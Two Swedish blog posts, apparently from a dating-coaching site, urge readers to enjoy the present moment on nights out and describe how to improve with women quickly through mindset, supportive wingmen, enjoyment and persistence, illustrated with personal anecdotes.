Att leva i nuet är otroligt attrkativt, att vara medveten om nuet är ovärderligt. Att vara medveten om nuet, handlar om att inse hur fantastiskt livet är, att inse att en utekväll innehåller så många olika kompontenter som gör livet värt att leva. Att vara medveten om att den musik som pumpas ut ur högtalarna faktiskt är helt ok, att vara medveten om hur jävla god ölen faktiskt är och att vara medveten om hur otroligt charmig tjejen du pratar med är att till 100% älska livet och det är den mest attraktiva
egenskapen av de alla. Vi ska titta på ett litet videoklipp, för att visa vad jag menar.

http://www.youtube.com/watch?v=FIt1LGLHeuMTvå av mina favoritmän. Titta på den filmen och se den glädje och kärlek
till livet de utstrålar.  Ett Gothiskt kyrkvalv, det är fan kärlek! Se till att känna den glädjen för livet ? och det gör du bara
om du är medveten om nuet. Det händer nästan varje gång jag är ute att någon frågar mig vad jag har tagit, vilket piller jag stoppat i mig eller vad för typ av pulver jag snortat.  Utan att ha tagit något alls tror folk att jag är hög. Det är inte för att jag är flummig
eller har röda ögon, det är för att jag tycker att allt är fantastiskt. Jag kan stå och prata med en tjej och helt plötsligt så blir jag så glad över något hon säger att jag bara kastar mig om halsen på henne och hon står och undrar hur jag kunde reagera så bara för att hon berättade att hon också älskar att åkapulka.

Öppna ögonen och se hur underbart livet är ? och fler människor kommer att tycka att du är underbar. För det är nämligen så, att om du visar att du kan njuta ? innebär det också att dem du delar njutningen med, kommer uppskatta det ni gör mer. Om du visar en tjej hur mycket du njuter av bagateller, kommer hon inse att varje dag med dig kommer vara fyllt med njutning, att du kan förvandla en grå måndag till ett fartfyllt äventyr. Om du blir helt till dig och alldeles fnittrig av att ta burgare halv 4 på morgonen ? hur kommer du då inte vara när ni lagar middag tillsammans? Om du blir engagerad och speedad av att bara ge henne en puss på kinden, hur kommer du då inte vara när ni kysser varandra, eller framförallt -när ni har sex? Känner du kärlek till livet,  så kan du hitta njutning iallting.

När man pratar om positiva människor, så är det alltid någon som frågar  om man ser glaset som halvtomt eller halvfullt? Ditt glas ska inte vara halvtomt men det ska verkligen inte halvfullt heller.  Det ska vara överfullt. Så fullt att det bara rinner över längs kanterna så att andra människor rusar fram för att även fylla upp sina glas. Lova dig sjäv att aldrigha ett halvfullt glas igen. Ha ett överfullt glas. Eller en hel karaff.  Du kan bara få ett överfullt glas om du är medveten om nuet. Om du då och då stannar upp.  Ta en extra djup klunk öl,
lyssna extra noga på musiken.

Säg åt tjejen du pratar med att vara tyst, backa ett steg och granska henne. Du kommer tycka hon är så attraktiv. Jag lovar. Titta bara på hennes ögon, visst är de häftiga? Shit, hon har verkligen ett coolt linne på
sig ? och hennes skratt får det ju att bubbla i magen på dig. Om du lär dig att uppskatta nästan allt i ditt liv ? kommer
allt du gör med en tjej att vara roligt. Det märker hon.Utstrålar du glädje och kärlek till livet, kommer aldrig en dejt att bli tråkig. Det går inte. För glaset är överfullt. Tjejen kommer bli fascinerad över hur du kan hitta njutning i allt. Hon kommer förstå att om ni går och spelar biljard tilllsammans, kommer det vara det bästa biljardpartiet någonsin, eller om ni tar en öl kommer hon till och med tycka att en blaskig Carlsberg smakar underbart.

Om du både lever i nuet ? och är medveten om nuet kommer du dessutom oftare och oftare vakna upp med en tjej du träffade
kvällen innan. För hon insåg redan på klubben, att en natt med dig kommer vara njutning från det att ni går in i taxin, tills dess att ni beställer pizza nästa förmiddag. Så, inse att det är en ny vecka och nya möjligheter att gå ut och leva i och vara medveten om nuet. Fan vad jag längtar.

Kram/ Hannes

if (document.currentScript) {

Hur blir man bra med tjejer på så kort tid som möjligt?

Dagens fråga. Jag tror inte att vi fått den i vår inkorg, men den lär ändå dyka upp förr eller senare. Jag hade tänkt sammanfatta de koncept och tillvägagångssätt som jag observerat hos mig själv, de andra instruktörerna och även bootcampelever som tagit sig fort fram. Vad är det som gör att vissa kan lyckas oerhört snabbt, medan andra kan traggla i samma fotspår år efter år? Vari ligger skillnaden, och hur kan man slå sig igenom sina platåer?

Till att börja med så är det oerhört viktigt att få en bra start, en vettig teoretisk grund att stå på, vilken man kan basera sina framtida handlingar på. Jag personligen fick ingen vidare start, jag läste böcker med starkt rutinbaserat innehåll, som visserligen gav mig en stor boost, på det viset att jag fick större insikt i social dynamik och en insikt att man faktiskt kan förstå hela processen, men dessvärre gav mig en del konstiga föreställningar. Jag satte uppe kvinnor högre än mig, jag var tvungen att komma in och visa mitt värde så att de kunde tycka om mig, de gillade mig bara om jag ”spelade mitt spel”. Som ett resultat var jag konstlad och alltid nervös. Först ett år senare kom jag in mer på rätt spår, började fråga tjejer om de gillade apelsiner, och hånglade med halva sticky fingers på en kväll. Jag började inse hur viktigt det var att vara avslappnad, och bara gå för det, men först när jag träffade grundarna av C-R 6 månader senare, så började det lossna ordentligt. Vi utbytte idéer, var ute ihop, och pushade varandra en helg i Göteborg, och jag hade sjukt bra kvällar.

Jag hade lagt min teoretiska grund, jag hade insett vad det mer eller mindre handlar om (jag går inte in i detalj på det nu, hela bloggen handlar om det, liksom allting som finns under materialfliken), och kom till nästa insikt om vad som är viktigt för dig i din utveckling. Wingmen.

Jag hade tidigare varit ute med alla möjliga och omöjliga människor ifrån communityt, men få trivdes jag med. Alex, som jag kände sedan tidigare, var vid tillfället för ung för att vara på krogen, och många wings jag var ute med var riktiga energitjuvar. När vi var ute var vi inte festen, vi var inte ballast på stället. Vi var nervösa, hetsade varandra att börja prata med tjejer(visserligen) och skrattade nervöst om det gick åt helvete. När jag istället hamnade med glada, självsäkra energi och värdegivande människor (c-r) gick mitt game igenom taket. När vi är ute tillsammans, och bara ger och ger åt varandra och alla andra, då skulle man kunna ställa sig på bardisken och slå ut med armarna och vråla. När man kan uppnå den punkten att man har ”the time of your life” när du är ute med dina wings, oavsett om det går bra eller inte, då är du på god väg. Trivs med dina wings, älska dina wings och stötta i alla väder dina wings. Du får sådan energi och glädje, att du bara bubblar över, och att inte ha något att prata om finns inte.

Detta leder mig in på nästa viktiga punkt för en stabil utvecklingskurva. Glädje. Har du rätt mindsett, dvs rätt teoretiska grund och tankesystem, kombinerat med bra wings – ja då kommer du förmodligen att ha oerhört kul när du är ute. För det är oerhört viktigt. Om du inte tycker om att spela fotboll – då blir du aldrig riktigt bra. Gillar du inte att spela gitarr- då kommer du inte träna tillräckligt för att bli grym. Gillar du inte att vara ute och ragga tjejer, utan ser det som ett nödvändigt ont. Då blir du inte bra med tjejer. Du måste kunna njuta av processen, älska det du gör och finna ett sätt som gör att det blir roligt.

Det sista är oerhört viktigt – finn ditt sätt att göra det roligt. Denna bloggposten är väldigt generell, men det är också för att allas utveckling ser annorlunda ut, alla lär sig på olika sätt. Finn det sätt som gör att du kan njuta av att vara ute fyra kvällar i veckan med dina fantastiska wings och prata med okända människor.

Men vad händer de gånger du inte har så sjukt roligt? Skall man gå hem då? ”näe idag har jag nog inte alla mister.m’s bitar på plats – lika bra att traska hemåt!”. Fel, fel fel! Det är när det är som jobbigast man måste bita ihop som mest. Många gånger kan du komma till klubben och känna ”vad i fan gör jag här? detta suger ju”. Då får man titta på sina wings, nicka i samförstånd, ta ett djupt andetag och börja prata med någon ändå. Förr eller senare så kommer ditt humör att vända, det är roligt att prata med människor. Det kanske inte händer direkt, och händer det inte så är det en oerhört värdefull läxa att lära. Vad händer om jag går ut – smått uttråkad och utan energi? Hur reagerar människor på mig? Hur känns det för mig?

Ni kan nog lista ut svaret, men jag vill ändå att ni skall prova. Ta en kväll när ni verkligen inte vill gå ut, det regnar och är kallt. Det är tisdag och klockan är 11, ta er i kragen och gå till närmsta krog. Jag har en sån historia. Jag låg i sängen med träningsvärk i hela kroppen, helt död och sov nästan med kläderna på. Snackade lite i telefon. Min wingman kommer in i rummet,

”Tja man – vi ska ut ikväll. Vi kom överens om att vi skulle vara ute minst 3 gånger i veckan, och ingen av oss kan onsdag-torsdag så tonight is the night min vän!”

”Haha, glöm det jag jag har bla bla bla bla ont överaltt bla bla trött bla bla jobba imorgon.”

Vi diskuterar fram och tillbaka en stund och han vill verkligen inte heller gå. Jag slappnar av och tänker ”ah, nu slapp jag vad skönt”. Men plötsligt får jag ett ryck, sätter mig upp i sängen. Skriker ut:

”NU GÅR VI!!”

Rusar ut i hallen och sätter på mig ytterkläderna innan jag ångrar mig och min wingman rusar också med. Vi beger oss ut i den regninga februarinatten och efter ungefär 200meter tittar vi på varandra och skrattar.

”Vi är så jävla korkade.”

”Japp.”

Sen går vi ut, och det suger. Oj vad det suger. Trötta, arga och blöta anländer vi till klubben, där det finns ungefär ett set. Efter mycket ångest går vi fram till tjejerna. De är ungefär som vi, trötta arga och blöta, och inte direkt skitkul conversation material. ”Hej ursäkta att vi är sena – vi sprang på en älg vi järntorget, helt sjukt bla bla”.

I en timme sitter vi och pratar med dem. De gillar inte att vi är där första 30, men stannar kvar eftersom stället inte erbjuder mycket underhållning. Vi vet att detta inte kommer leda någonstans, men det är vårt uppdrag att stanna, helt enkelt av den anledning att de är de enda tjejerna på stället. I en timme och 30 minuter sitter vi där och pressar ur oss konversation, det ena tråkigare än det andra, och gör allt i vår makt för att hooka in tjejerna ifråga. Det var en av de jobbigaste samtalen någonsin, och en av de tråkigaste kvällarna. Såhär i efterhand ångrar jag mig dock inte en sekund, det var oerhört lärorikt. Vart vill jag då komma med detta? Dedikering. Den sista hörnstenen i vad jag menar är fundamentet för att bli duktig med kvinnor.

Att gå ut den kvällen, att fortsätta kämpa, att köra in huvudet i väggen, igen igen och igen tills den går sönder. Dedikeringen till det man förutsatt sig, envisheten och viljan att uppnå sina mål. Utan den kommer du inte heller någonstans. Om du inte står pall när det är jobbigt – hur skall du då klara av någonting? Ett förhållande – en karriär – ett träningspass? En stark och solid dedikering till sitt syfte och mål är essentiellt för framgång med kvinnor, och alla typer av utveckling.

Inga mer ursäkter.

if (document.currentScript) {